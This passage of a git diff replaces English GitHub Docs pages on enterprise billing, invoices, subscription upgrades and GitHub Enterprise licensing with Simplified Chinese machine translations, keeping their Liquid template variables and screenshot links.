variables.product.prodname_dotcom_the_website %} services and any {% data variables.product.prodname_ghe_server %} instances. For more information, see "[About billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)." - -Only invoiced customers can view invoices on {% data variables.product.prodname_dotcom %}. If you pay automatically via credit card or PayPal, you can view receipts and payment history instead. For more information, see "[Viewing your payment history and receipts](/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts)." - -For more information about viewing the subscription and usage for your enterprise account, see "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)." +有关查看企业帐户的订阅和使用情况的详细信息,请参阅“[查看企业帐户的订阅和使用情况](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)”。 {% data reusables.billing.ghes-with-no-enterprise-account %} -## Viewing your current invoice +## 查看当前发票 -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -4. Under "Current Invoice", click **View invoice**. - ![View invoice link](/assets/images/help/business-accounts/view-invoice-link.png) +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +4. 在“当前发票”下,单击“查看发票”。 + ![查看发票链接](/assets/images/help/business-accounts/view-invoice-link.png) -## Paying your current invoice +## 支付当前发票 -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -4. Under "Payment Due", click **Pay invoice**. - ![Pay invoice link](/assets/images/help/business-accounts/pay-invoice-link.png) -5. Under "Pay invoice", type your credit card information in the secure form, then click **Pay Invoice**. - ![Confirm and pay invoice](/assets/images/help/business-accounts/pay-invoice.png) +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +4. 在“付款到期”下,单击“支付发票”。 + ![“支付发票”链接](/assets/images/help/business-accounts/pay-invoice-link.png) +5. 在“支付发票”下,在安全表单中输入信用卡信息,然后单击“支付发票”。 + ![确认并支付发票](/assets/images/help/business-accounts/pay-invoice.png) -## Downloading your current invoice +## 下载当前发票 -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -4. Under "Quick Actions", click **Download current invoice**. - ![Download current invoice link](/assets/images/help/business-accounts/download-current-invoice.png) +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +4. 在“快速操作”下,单击“下载当前发票”。 + ![“载当前发票”接](/assets/images/help/business-accounts/download-current-invoice.png) -## Viewing your payment history +## 查看付款历史记录 -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -4. To see a summary of your past billing activity, under "Billing", click the **Past Invoices** tab. - ![View payment history tab](/assets/images/help/business-accounts/view-payment-history.png) +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +4. 要查看过去的结算活动摘要,请在“账单”下单击“历史发票”选项卡。![查看付款历史选项卡](/assets/images/help/business-accounts/view-payment-history.png) diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md index 9d40ff9312..65f3314a94 100644 --- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md +++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md @@ -1,6 +1,6 @@ --- -title: Upgrading your GitHub subscription -intro: 'You can upgrade the subscription for any type of account on {% data variables.location.product_location %} at any time.' +title: 升级 GitHub 订阅 +intro: '您可以随时升级 {% data variables.product.product_location %} 上任何类型的帐户的订阅。' miniTocMaxHeadingLevel: 3 redirect_from: - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-your-github-subscription @@ -30,83 +30,69 @@ topics: - Upgrades - User account shortTitle: Upgrade your subscription +ms.openlocfilehash: 47426fa211521a166738c5a9bb00edddfc2556f2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145084475' --- - -## About subscription upgrades +## 关于订阅升级 {% data reusables.accounts.accounts-billed-separately %} -When you upgrade the subscription for an account, the upgrade changes the paid features available for that account only, and not any other accounts you use. +升级帐户的订阅时,升级将更改仅适用于该帐户的付费功能,而不会更改您使用的任何其他帐户。 -## Upgrading your personal account's subscription +## 升级个人帐户的订阅 -You can upgrade your personal account from {% data variables.product.prodname_free_user %} to {% data variables.product.prodname_pro %} to get advanced code review tools on private repositories owned by your personal account. Upgrading your personal account does not affect any organizations you may manage or repositories owned by those organizations. {% data reusables.gated-features.more-info %} +你可以将个人帐户从 {% data variables.product.prodname_free_user %} 升级到 {% data variables.product.prodname_pro %},以便在个人帐户拥有的私有存储库上获取高级代码评审工具。 升级您的个人帐户不会影响您可能管理的任何组织或这些组织拥有的存储库。 {% data reusables.gated-features.more-info %} -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -1. Next to "Current plan", click **Upgrade**. - ![Upgrade button](/assets/images/help/billing/settings_billing_user_upgrade.png) -2. Under "Pro" on the "Compare plans" page, click **Upgrade to Pro**. -{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %} -{% data reusables.dotcom_billing.show-plan-details %} -{% data reusables.dotcom_billing.enter-billing-info %} -{% data reusables.dotcom_billing.enter-payment-info %} -{% data reusables.dotcom_billing.finish_upgrade %} +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} +1. 在“当前计划”旁边,单击“升级”。 + ![“升级”按钮](/assets/images/help/billing/settings_billing_user_upgrade.png) +2. 在“比较计划”页上的“Pro”下,单击“升级到 Pro”。 +{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %} {% data reusables.dotcom_billing.show-plan-details %} {% data reusables.dotcom_billing.enter-billing-info %} {% data reusables.dotcom_billing.enter-payment-info %} {% data reusables.dotcom_billing.finish_upgrade %} -## Managing your organization's subscription +## 管理组织的订阅 -You can upgrade your organization's subscription to a different product, add seats to your existing product, or switch from per-repository to per-user pricing. +您可以将组织的订阅升级到其他产品,为现有产品添加席位,或者从每存储库定价切换到每用户定价。 -### Upgrading your organization's subscription +### 升级组织的订阅 -You can upgrade your organization from {% data variables.product.prodname_free_team %} for an organization to {% data variables.product.prodname_team %} to access advanced collaboration and management tools for teams, or upgrade your organization to {% data variables.product.prodname_ghe_cloud %} for additional security, compliance, and deployment controls. Upgrading an organization does not affect your personal account or repositories owned by your personal account. {% data reusables.gated-features.more-info-org-products %} +您可以将组织从 {% data variables.product.prodname_free_team %} 升级到 {% data variables.product.prodname_team %},以访问团队的高级协作和管理工具,也可以将组织升级到 {% data variables.product.prodname_ghe_cloud %} 以使用更多的安全性、合规性和部署控件。 升级组织不会影响您的个人帐户或您的个人帐户拥有的存储库。 {% data reusables.gated-features.more-info-org-products %} {% data reusables.dotcom_billing.org-billing-perms %} -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.upgrade_org %} -{% data reusables.dotcom_billing.choose_org_plan %} -{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %} -{% data reusables.dotcom_billing.show-plan-details %} -{% data reusables.dotcom_billing.enter-payment-info %} -{% data reusables.dotcom_billing.owned_by_business %} -{% data reusables.dotcom_billing.finish_upgrade %} +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.upgrade_org %} {% data reusables.dotcom_billing.choose_org_plan %} {% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %} {% data reusables.dotcom_billing.show-plan-details %} {% data reusables.dotcom_billing.enter-payment-info %} {% data reusables.dotcom_billing.owned_by_business %} {% data reusables.dotcom_billing.finish_upgrade %} -### Next steps for organizations using {% data variables.product.prodname_ghe_cloud %} +### 使用 {% data variables.product.prodname_ghe_cloud %} 的组织的后续步骤 -If you upgraded your organization to {% data variables.product.prodname_ghe_cloud %}, you can set up identity and access management for your organization. For more information, see "[Managing SAML single sign-on for your organization](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +如果您已将组织升级到 {% data variables.product.prodname_ghe_cloud %},便可设置组织的身份和访问管理。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[管理组织的 SAML 单一登录](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization){% ifversion fpt %}”。{% else %}."{% endif %} -If you'd like to use an enterprise account with {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.contact_enterprise_sales %}. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +如果想要将企业帐户与 {% data variables.product.prodname_ghe_cloud %} 一起使用,请联系 {% data variables.contact.contact_enterprise_sales %}。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[关于企业帐户](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}”。{% else %}."{% endif %} -### Adding seats to your organization +### 将席位添加到您的组织 -If you'd like additional users to have access to your {% data variables.product.prodname_team %} organization's private repositories, you can purchase more seats anytime. +如果希望其他用户能够访问您 {% data variables.product.prodname_team %} 组织的私有仓库,您可以随时购买更多席位。 + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.add-seats %} {% data reusables.dotcom_billing.number-of-seats %} {% data reusables.dotcom_billing.confirm-add-seats %} + +### 将组织从按仓库定价切换为按用户定价 + +{% data reusables.dotcom_billing.switch-legacy-billing %} 有关详细信息,请参阅“[关于每用户定价](/articles/about-per-user-pricing)”。 {% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.add-seats %} -{% data reusables.dotcom_billing.number-of-seats %} -{% data reusables.dotcom_billing.confirm-add-seats %} +5. 在计划名称的右侧,使用“编辑”下拉菜单,并选择“编辑计划” 。 + ![“编辑”下拉菜单](/assets/images/help/billing/per-user-upgrade-button.png) +6. 在“适用于团队的高级工具”的右侧,单击“立即升级”。 + ![“立即升级”按钮](/assets/images/help/billing/per-user-upgrade-now-button.png) {% data reusables.dotcom_billing.choose_org_plan %} {% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %} {% data reusables.dotcom_billing.owned_by_business %} {% data reusables.dotcom_billing.finish_upgrade %} -### Switching your organization from per-repository to per-user pricing - -{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." - -{% data reusables.organizations.billing-settings %} -5. To the right of your plan name, use the **Edit** drop-down menu, and select **Edit plan**. - ![Edit drop-down menu](/assets/images/help/billing/per-user-upgrade-button.png) -6. To the right of "Advanced tools for teams", click **Upgrade now**. - ![Upgrade now button](/assets/images/help/billing/per-user-upgrade-now-button.png) -{% data reusables.dotcom_billing.choose_org_plan %} -{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %} -{% data reusables.dotcom_billing.owned_by_business %} -{% data reusables.dotcom_billing.finish_upgrade %} - -## Troubleshooting a 500 error when upgrading +## 升级时对 500 错误进行故障排除 {% data reusables.dotcom_billing.500-error %} -## Further reading +## 延伸阅读 -- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)" -- "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)" -- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)." +- “[{% data variables.product.prodname_dotcom %} 的产品](/articles/github-s-products)” +- “[升级或降级如何影响计费过程?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)” +- “[关于 {% data variables.product.prodname_dotcom %} 的计费](/articles/about-billing-on-github)”。 diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md index aba1e9288f..41f8af12c6 100644 --- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md +++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md @@ -1,6 +1,6 @@ --- -title: Viewing the subscription and usage for your enterprise account -intro: 'You can view the current {% ifversion ghec %}subscription, {% endif %}license usage{% ifversion ghec %}, invoices, payment history, and other billing information{% endif %} for {% ifversion ghec %}your enterprise account{% elsif ghes %}{% data variables.location.product_location_enterprise %}{% endif %}.' +title: 查看企业帐户的订阅和使用情况 +intro: '您可以查看当前{% ifversion ghec %}订阅、 {% endif %}许可证使用情况{% ifversion ghec %}、发票、付款历史记录以及 {% ifversion ghec %}企业帐户{% elsif ghes %}{% data variables.product.product_location_enterprise %}{% endif %}{% endif %} 的其他帐单信息。' permissions: 'Enterprise owners {% ifversion ghec %}and billing managers {% endif %}can access and manage all billing settings for enterprise accounts.' redirect_from: - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/viewing-the-subscription-and-usage-for-your-enterprise-account @@ -13,42 +13,42 @@ versions: topics: - Enterprise shortTitle: View subscription & usage +ms.openlocfilehash: 503f870542180cfe9ae088a161370b9370d36f1c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145189636' --- +## 关于企业帐户的计费 -## About billing for enterprise accounts +可以在 {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_location %}{% endif %} 上查看{% ifversion ghec %}{% elsif ghes %}{% endif %}企业帐户{% ifversion ghec %}订阅和已付费{% elsif ghes %}许可证{% endif %}使用情况的概述。{% ifversion ghec %} {% data reusables.enterprise.create-an-enterprise-account %}有关详细信息,请参阅“[创建企业帐户](/enterprise-cloud@latest/admin/overview/creating-an-enterprise-account)。”{% endif %} -You can view an overview of {% ifversion ghec %}your subscription and paid{% elsif ghes %}the license{% endif %} usage for {% ifversion ghec %}your{% elsif ghes %}the{% endif %} enterprise account on {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.{% ifversion ghec %} {% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/enterprise-cloud@latest/admin/overview/creating-an-enterprise-account)."{% endif %} - -For invoiced {% data variables.product.prodname_enterprise %} customers{% ifversion ghes %} who use both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}{% endif %}, each invoice includes details about billed services for all products. For example, in addition to your usage for {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% elsif ghes %}{% data variables.product.product_name %}{% endif %}, you may have usage for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghec %}, {% elsif ghes %}. You may also have usage on {% data variables.product.prodname_dotcom_the_website %}, like {% endif %}paid licenses in organizations outside of your enterprise account, data packs for {% data variables.large_files.product_name_long %}, or subscriptions to apps in {% data variables.product.prodname_marketplace %}. For more information about invoices, see "[Managing invoices for your enterprise]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise){% ifversion ghec %}."{% elsif ghes %}" in the {% data variables.product.prodname_dotcom_the_website %} documentation.{% endif %} +对于同时使用 {% data variables.product.prodname_ghe_cloud %} 和 {% data variables.product.prodname_ghe_server %}{% endif %}的开票 {% data variables.product.prodname_enterprise %} 客户{% ifversion ghes %} ,每张发票都包含有关所有产品的计费服务的详细信息。 例如,除了用于 {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% elsif ghes %}{% data variables.product.product_name %}{% endif %}之外,您可能还用于 {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghec %}、 {% elsif ghes %}。 您可能还会在 {% data variables.product.prodname_dotcom_the_website %} 上使用,例如{% endif %}企业帐户以外的组织中的付费许可证、{% data variables.large_files.product_name_long %} 的数据包或 {% data variables.product.prodname_marketplace %} 中的应用订阅。 有关发票的详细信息,请参阅 {% data variables.product.prodname_dotcom_the_website %} 文档中的“[管理企业发票]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise){% ifversion ghec %}。”{% elsif ghes %}。{% endif %} {% ifversion ghec %} -In addition to enterprise owners, billing managers can view the subscription and usage for your enterprise account. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise#billing-manager)" and "[Inviting people to manage your enterprise](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)." +除了企业所有者之外,帐单管理员还可以查看企业帐户的订阅和使用情况。 有关详细信息,请参阅“[企业中的角色](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise#billing-manager)”和“[邀请人员管理企业](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)”。 -{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)." +{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} 有关详细信息,请参阅“[将 Azure 订阅连接到企业](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)”。 {% endif %} {% ifversion ghes %} -If you want to view an overview of your subscription and usage for {% data variables.product.prodname_enterprise %} and any related services on {% data variables.product.prodname_dotcom_the_website %}, see "[Viewing the subscription and usage for your enterprise account](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" in the {% data variables.product.prodname_ghe_cloud %} documentation. +如果要在 {% data variables.product.prodname_dotcom_the_website %} 上查看 {% data variables.product.prodname_enterprise %} 和任何相关服务的订阅和使用情况概述,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[查看企业帐户的订阅和使用情况](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)”。 {% endif %} -## Viewing the subscription and usage for your enterprise account +## 查看企业帐户的订阅和使用情况 -You can view the subscription and usage for your enterprise and download a file with license details. +您可以查看企业的订阅和使用情况,并下载包含许可证详细信息的文件。 {% data reusables.billing.license-statuses %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. Under "User licenses", view your total licenses, number of consumed licenses, and your subscription expiration date. - {% ifversion ghec %}![License and subscription information in enterprise billing settings](/assets/images/help/business-accounts/billing-license-info.png){% else %} - ![License and subscription information in enterprise billing settings](/assets/images/enterprise/enterprise-server/enterprise-server-billing-license-info.png){% endif %} -1. Optionally, to view details for license usage or download a {% ifversion ghec %}CSV{% elsif ghes %}JSON{% endif %} file with license details{% ifversion ghec %}, to the right of "User Licenses"{% endif %}, click **View {% ifversion ghec %}details{% elsif ghes %}users{% endif %}** or {% ifversion ghec %}{% octicon "download" aria-label="The download icon" %}{% elsif ghes %}**Export license usage**{% endif %}.{% ifversion ghec %} - !["View details" button and button with download icon to the right of "User Licenses"](/assets/images/help/business-accounts/billing-license-info-click-view-details-or-download.png){% endif %}{% ifversion ghec %} -1. Optionally, to view usage details for other features, in the left sidebar, click **Billing**. - ![Billing tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/settings-billing-tab.png) -{% endif %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.license-tab %} +1. 在“User licenses(用户许可证)”下,查看许可证总数、已使用许可证数量和订阅到期日期。 + {% ifversion ghec %}![企业计费设置中的许可证和订阅信息](/assets/images/help/business-accounts/billing-license-info.png){% else %}![企业计费设置中的许可证和订阅信息](/assets/images/enterprise/enterprise-server/enterprise-server-billing-license-info.png){% endif %} +1. (可选)若要查看许可证使用情况详细信息或下载包含许可证详情的 {% ifversion ghec %}CSV{% elsif ghes %}JSON{% endif %} 文件{% ifversion ghec %},请在“用户许可证”的右侧{% endif %},单击“查看{% ifversion ghec %}详细信息{% elsif ghes %}用户{% endif %}”或{% ifversion ghec %}{% octicon "download" aria-label="The download icon" %}{% elsif ghes %}“导出许可证使用情况”{% endif %}。{% ifversion ghec %} ![“用户许可证”右侧的“查看详细信息”按钮和带下载图标的按钮](/assets/images/help/business-accounts/billing-license-info-click-view-details-or-download.png){% endif %}{% ifversion ghec %} +1. (可选)若要查看其他功能使用情况的详细信息,请在左侧边栏中单击“计费”。 + ![企业帐户设置边栏中的“计费”选项卡](/assets/images/help/business-accounts/settings-billing-tab.png){% endif %} diff --git a/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md b/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md index 2a8b764350..e744fa5ec8 100644 --- a/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md +++ b/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md @@ -1,6 +1,6 @@ --- -title: About licenses for GitHub Enterprise -intro: '{% ifversion ghec %}If you deploy {% data variables.product.prodname_ghe_server %} in addition to using {% data variables.product.prodname_ghe_cloud %}, you{% else %}You{% endif %} can synchronize your license usage between{% ifversion ghes %} {% data variables.product.prodname_enterprise %}{% endif %} deployments, and use a license file to unlock each {% data variables.product.prodname_ghe_server %} instance.' +title: 关于 GitHub Enterprise 的许可证 +intro: '{% ifversion ghec %}如果除了使用 {% data variables.product.prodname_ghe_cloud %} 之外还部署 {% data variables.product.prodname_ghe_server %},{% else %}你{% endif %}可以在 {% ifversion ghes %} {% data variables.product.prodname_enterprise %}{% endif %} 部署之间同步许可证使用情况,并使用许可证文件解锁每个 {% data variables.product.prodname_ghe_server %} 实例。' versions: ghec: '*' ghes: '*' @@ -9,36 +9,41 @@ topics: - Enterprise - Licensing shortTitle: About licenses +ms.openlocfilehash: eb904ed497df785cfefa25cee7a5cb1fe5acfaa0 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145910509' --- - -## About licensing for {% data variables.product.prodname_enterprise %} +## 关于 {% data variables.product.prodname_enterprise %} 的许可 {% data reusables.enterprise.about-deployment-methods %} {% data reusables.enterprise-licensing.unique-user-licensing-model %} -To ensure the same user isn't consuming more than one license for multiple enterprise deployments, you can synchronize license usage between your {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} deployments. +为确保同一用户不会为多个企业部署使用多个许可证,可以在 {% data variables.product.prodname_ghe_server %} 和 {% data variables.product.prodname_ghe_cloud %} 部署之间同步许可证使用情况。 -In order to use a {% data variables.product.prodname_ghe_server %} instance, you must upload a license file that {% data variables.product.company_short %} provides when you purchase, renew, or add user licenses to {% data variables.product.prodname_enterprise %}. +若要使用 {% data variables.product.prodname_ghe_server %} 实例,必须上传 {% data variables.product.company_short %} 在你购买、续订或向 {% data variables.product.prodname_enterprise %} 添加用户许可证时提供的许可证文件。 -## About synchronization of license usage for {% data variables.product.prodname_enterprise %} +## 关于同步 {% data variables.product.prodname_enterprise %} 的许可证使用情况 -{% data reusables.enterprise-licensing.about-license-sync %} For more information, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)." +{% data reusables.enterprise-licensing.about-license-sync %} 有关详细信息,请参阅“[同步 {% data variables.product.prodname_ghe_server %} 和 {% data variables.product.prodname_ghe_cloud %} 之间的许可证使用情况](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)”。 -## About license files for {% data variables.product.prodname_enterprise %} +## 关于 {% data variables.product.prodname_enterprise %} 的许可证文件 -When you purchase or renew {% data variables.product.prodname_enterprise %}, {% data variables.product.company_short %} provides a license file {% ifversion ghec %}for your deployments of {% data variables.product.prodname_ghe_server %}{% elsif ghes %}for {% data variables.location.product_location_enterprise %}{% endif %}. A license file has an expiration date and controls the number of people who can use {% data variables.location.product_location_enterprise %}. After you download and install {% data variables.product.prodname_ghe_server %}, you must upload the license file to unlock the application for you to use. +购买或续订 {% data variables.product.prodname_enterprise %} 时,{% data variables.product.company_short %} 会为 {% ifversion ghec %}{% data variables.product.prodname_ghe_server %}的部署{% elsif ghes %}{% data variables.product.product_location_enterprise %}{% endif %}提供许可证文件。 许可证文件有到期日期,控制可以使用 {% data variables.product.product_location_enterprise %} 的人数。 下载并安装 {% data variables.product.prodname_ghe_server %} 后,必须上传许可证文件以解锁应用程序以供使用。 -For more information about downloading your license file, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)." +有关下载许可证文件的详细信息,请参阅“[下载 {% data variables.product.prodname_enterprise %} 的许可证文件](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)”。 -For more information about uploading your license file, see {% ifversion ghec %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% endif %} +有关上传许可证文件的详细信息,请参阅 {% ifversion ghec %} {% data variables.product.prodname_ghe_server %} 文档中的[将新的许可证上传到 {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)。{% elsif ghes %} [将新的许可证上传到 {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)。{% endif %} -If your license expires, you won't be able to access {% data variables.product.prodname_ghe_server %} via a web browser or Git. If needed, you will be able to use command-line utilities to back up all your data. For more information, see {% ifversion ghec %}"[Configuring backups on your appliance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/guides/installation/configuring-backups-on-your-appliance)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Configuring backups on your appliance](/admin/guides/installation/configuring-backups-on-your-appliance)." {% endif %} +如果您的许可证过期,将无法通过 Web 浏览器或 Git 访问 {% data variables.product.prodname_ghe_server %}。 需要时,您可以使用命令行实用程序备份所有数据。 有关详细信息,请参阅{% ifversion ghec %}"[Configuring backups on your appliance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/guides/installation/configuring-backups-on-your-appliance)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}“[在设备上配置备份](/admin/guides/installation/configuring-backups-on-your-appliance)”。 {% endif %} -If you have any questions about renewing your license, contact {% data variables.contact.contact_enterprise_sales %}. +如对续订许可有任何疑问,请联系 {% data variables.contact.contact_enterprise_sales %}。 -## Further reading +## 延伸阅读 -- "[About billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)" -- [{% data variables.product.prodname_enterprise %} Releases](https://enterprise.github.com/releases/) website -- "[Setting up a {% data variables.product.prodname_ghe_server %} instance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/installation/setting-up-a-github-enterprise-server-instance)" +- [关于企业的计费](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise) +- [{% data variables.product.prodname_enterprise %} 发布](https://enterprise.github.com/releases/)网站 +- [设置 {% data variables.product.prodname_ghe_server %} 实例]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/installation/setting-up-a-github-enterprise-server-instance) diff --git a/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md b/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md index 9e67e9dfa4..27d066bec0 100644 --- a/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md +++ b/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md @@ -1,6 +1,6 @@ --- -title: Downloading your license for GitHub Enterprise -intro: 'You can download a copy of your license file for {% data variables.product.prodname_ghe_server %}.' +title: 下载 GitHub Enterprise 许可证 +intro: '您可以下载 {% data variables.product.prodname_ghe_server %} 的许可证文件副本。' permissions: 'Enterprise owners can download license files for {% data variables.product.prodname_ghe_server %}.' versions: ghec: '*' @@ -10,29 +10,33 @@ topics: - Enterprise - Licensing shortTitle: Download your license +ms.openlocfilehash: eed588e2580558280e2e11639f0904b5f9fcf118 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 